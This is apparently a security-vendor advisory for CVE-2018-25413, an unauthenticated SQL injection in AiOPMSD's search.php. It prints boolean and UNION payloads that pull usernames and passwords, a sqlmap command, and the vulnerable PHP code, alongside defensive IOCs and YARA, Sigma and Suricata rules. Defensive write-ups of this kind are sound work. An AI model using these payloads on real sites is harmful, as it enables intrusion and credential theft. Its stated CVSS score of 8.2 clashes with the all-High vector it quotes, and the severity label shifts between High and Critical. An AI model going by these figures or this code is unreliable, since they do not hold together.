CVE-2018-25413
Executive Summary
CVE-2018-25413 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an unpatched application. The flaw resides in the search.php endpoint, where the q parameter is directly concatenated into SQL queries without sanitization. Unauthenticated attackers can exploit this to extract sensitive data (usernames, database names, version details) and potentially achieve full database compromise. The CVSS score of 8.2 reflects high impact on confidentiality, integrity, and availability. No official patch exists, and the vendor status is unknown, making this a high-risk, unmanaged vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP application (AiOPMSD) with no known package manager dependencies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.2 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – full database read access.
- Integrity Impact: High (I:H) – potential data modification via stacked queries.
- Availability Impact: High (A:H) – possible denial of service via resource exhaustion.
Threat Level: Critical. The combination of unauthenticated remote exploitation, high impact, and no available patch makes this a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the search.php file. The application takes the q parameter from a GET request and directly embeds it into a SQL query without any input validation, parameterization, or escaping. For example, a request like:
GET /search.php?q=test
Results in a query similar to:
SELECT * FROM items WHERE name LIKE '%test%'
An attacker can inject SQL syntax by providing a crafted q value, such as:
GET /search.php?q=' OR '1'='1' -- -
This transforms the query into:
SELECT * FROM items WHERE name LIKE '%' OR '1'='1' -- -%'
The OR '1'='1' condition makes the WHERE clause always true, returning all rows. The -- - comments out the rest of the query, preventing syntax errors. More advanced payloads can extract data from other tables using UNION-based injection:
GET /search.php?q=' UNION SELECT username, password FROM users -- -
This allows the attacker to retrieve credentials and other sensitive information.
Vulnerable vs. Patched Code
Vulnerable Code (AiOPMSD Final 1.0.0):
<?php
$q = $_GET['q'];
$result = mysqli_query($conn, "SELECT * FROM items WHERE name LIKE '%$q%'");
?>
Patched Code (Hypothetical – no official patch):
<?php
$q = $_GET['q'];
$stmt = $conn->prepare("SELECT * FROM items WHERE name LIKE ?");
$searchTerm = '%' . $q . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy AiOPMSD Final 1.0.0 on a local server (e.g., XAMPP, LAMP).
- Ensure the
search.phpendpoint is accessible.
Exploitation Steps:
Basic Boolean-Based Injection:
GET /search.php?q=' OR '1'='1' -- -Observe if all items are returned.
UNION-Based Data Extraction:
GET /search.php?q=' UNION SELECT null, username, password FROM users -- -Adjust column count to match the original query (e.g., 3 columns).
Automated Exploitation with sqlmap:
sqlmap -u "http://target/search.php?q=test" --batch --dbs
Expected Output: Database names, tables, and sensitive data (usernames, passwords).
Blue Team
Detection & Response:
- Monitor web server logs for suspicious
qparameter values containing SQL keywords (UNION,SELECT,OR,--,'). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Use the detection rules provided in the Detection Engineering section.
Containment:
- If exploitation is detected, immediately block the attacking IP address.
- Isolate the vulnerable application server.
- Review database logs for unauthorized queries.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/search.phpwithqparameter containing SQL keywords (e.g.,UNION,SELECT,OR,--,'). - Unusually high number of requests to
search.phpfrom a single IP. - Responses containing database error messages (e.g., "You have an error in your SQL syntax").
- HTTP GET requests to
File IOCs:
- Modified
search.phpfile (if attacker uploads a web shell). - Suspicious files in the web root (e.g.,
cmd.php,shell.php).
- Modified
Database IOCs:
- Unauthorized queries to system tables (e.g.,
information_schema). - New user accounts or modified privileges.
- Unauthorized queries to system tables (e.g.,
Detection Engineering
YARA Rule
rule CVE_2018_25413_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2018-25413 in AiOPMSD"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2018-25413"
strings:
$sqli1 = /q=.*['\"]\s*(OR|AND)\s+['\"]?\d*['\"]?\s*=\s*['\"]?\d*['\"]?/i
$sqli2 = /q=.*UNION\s+SELECT/i
$sqli3 = /q=.*--\s*-/i
$sqli4 = /q=.*\b(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER)\b/i
condition:
any of them
}
Sigma Rule
title: SQL Injection Attempt Against AiOPMSD search.php
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2018-25413
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "q=' OR"
- "q=' UNION"
- "q='--"
- "q=1' OR"
- "q=1'--"
condition: selection
falsepositives:
- Legitimate use of single quotes in search terms (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2018-25413 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/search.php"; http_uri; content:"q="; http_uri; pcre:"/q=.*['\"]\s*(OR|AND)\s+['\"]?\d*['\"]?\s*=\s*['\"]?\d*['\"]?/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If AiOPMSD Final 1.0.0 is in use, immediately disconnect it from the network or place it behind a strict WAF.
- Apply virtual patching: Use a WAF to block SQL injection patterns (e.g., ModSecurity with OWASP CRS).
- Database hardening: Restrict database user privileges to the minimum required (e.g., no DROP/ALTER).
Long-Term Remediation:
- Rewrite the application: Replace all dynamic SQL queries with prepared statements or parameterized queries.
- Input validation: Implement strict input validation for the
qparameter (e.g., allow only alphanumeric characters and spaces). - Upgrade: Since no official patch exists, consider migrating to a different, actively maintained application.
Compromise Assessment:
- Review database logs for unauthorized queries.
- Check for any new user accounts or modified data.
- Scan the web server for backdoors or web shells.
Valters IT – DevSecOps & Cyber Threat Intelligence